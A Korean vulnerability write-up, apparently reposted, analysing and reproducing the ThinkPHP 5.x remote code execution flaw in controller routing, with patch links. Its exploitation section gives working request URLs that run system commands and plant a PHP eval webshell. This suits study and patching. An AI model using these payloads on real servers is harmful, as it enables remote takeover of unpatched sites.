>PHP 프레임워크 >ThinkPHP >ThinkPHP 5.x 원격 명령 실행 취약점 분석 및 재현

ThinkPHP 5.x 원격 명령 실행 취약점 분석 및 재현

藏色散人
藏色散人앞으로
2019-08-20 14:09:432996검색

0x00 서문

ThinkPHP는 2018년 12월 9일에 심각한 원격 코드 실행 취약점을 수정한 중요한 보안 업데이트를 공식 출시했습니다. 이 업데이트는 주로 보안 업데이트와 관련되어 있으며, 프레임워크는 컨트롤러 이름에 대해 충분한 감지를 수행하지 않으므로 강제 라우팅이 활성화되지 않은 경우 getshell 취약점이 발생할 수 있습니다. 해당 버전에는 5.0 및 5.1이 포함됩니다. 가능한 한 빨리 최신 버전으로 업데이트하세요.

0x01 영향 범위

5.x

0x02 취약점 분석

Thinkphp v5.0.x 패치 주소: https://github. com /top-think/framework/com...

Thinkphp v5.1.x 패치 주소: https://github.com/top-think/framework/com...

라우팅 정보의 컨트롤러 부분적으로 필터링한 결과, 경로 스케줄링 중에 문제가 발생하는 것을 알 수 있습니다.

키 코드:

ThinkPHP 5.x 원격 명령 실행 취약점 분석 및 재현

수리 전에는 프로그램이 컨트롤러를 필터링하지 않았으므로 공격자가 기호를 도입하여 임의의 클래스 메서드를 호출할 수 있었습니다.

ThinkPHP 5.x 원격 명령 실행 취약점 분석 및 재현

$this->app->controller 메소드는 컨트롤러를 인스턴스화한 다음 인스턴스에서 메소드를 호출하는 데 사용됩니다. 컨트롤러 메소드에 대한 후속 조치:

parseModuleAndClass 메소드를 사용하여 $module 및 $class를 구문 분석한 다음 $class를 인스턴스화합니다.

ThinkPHP 5.x 원격 명령 실행 취약점 분석 및 재현

parseModuleAndClass 메서드에서 $name이 백슬래시로 시작하면 클래스 이름으로 바로 사용됩니다. 네임스페이스의 특성을 활용하여 여기에서 $name(즉, 경로의 컨트롤러 부분)을 제어할 수 있으면 모든 클래스를 인스턴스화할 수 있습니다.

그럼 라우팅 파싱 코드를 다시 살펴보겠습니다. 그 중, Route/dispatch/Url.php::parseUrl 메소드는 pathinfo의 라우팅 정보를 파싱하기 위해 path/Rule.php::parseUrlPath를 호출합니다. 코드는 비교적 간단합니다. .

라우팅 URL은 Request::path()에서 얻습니다. ThinkPHP 5.x 원격 명령 실행 취약점 분석 및 재현

var_pathinfo의 기본 구성이 s이므로 $_GET ['s']를 사용하여 라우팅 정보를 전달하거나 pathinfo를 사용하여 전달할 수 있습니다. 그러나 테스트 중에 Windows 환경에서는 $_SERVER ['pathinfo']를 /로 바꿉니다. 이전 분석과 결합하면 index.php?s=index/namespaceclass/method와 같은 예비 활용 코드를 얻을 수 있으며, 이는 네임스페이스클래스 클래스를 인스턴스화하고 메소드 메소드를 실행합니다.

ThinkPHP 5.x 원격 명령 실행 취약점 분석 및 재현0x03 취약점 악용

docker 취약점 환경 소스 코드:

https://github.com/vulnspy/thinkphp-5.1.29

로컬 환경: thinkphp5.0.15+php5.6n+ apache2.0

http://www.thinkphp.cn/donate/download/id/...

1. 시스템 기능을 이용해 원격 명령을 실행

http://localhost:9096/public/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami

2.phpinfo를 통해 phpinfo()의 정보를 작성합니다. function

http://localhost:9096/public/index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1

ThinkPHP 5.x 원격 명령 실행 취약점 분석 및 재현

3. 쉘 작성:

http://localhost:9096/public/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo%20^%3C?php%20@eval($_GET[%22code%22])?^%3E%3Eshell.php

또는 ThinkPHP 5.x 원격 명령 실행 취약점 분석 및 재현

http://localhost:9096/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=../test.php&vars[1][]=<?php echo &#39;ok&#39;;?>

위 내용은 ThinkPHP 5.x 원격 명령 실행 취약점 분석 및 재현의 상세 내용입니다. 자세한 내용은 PHP 중국어 웹사이트의 기타 관련 기사를 참조하세요!

성명:
이 기사는 learnku.com에서 복제됩니다. 침해가 있는 경우 admin@php.cn으로 문의하시기 바랍니다. 삭제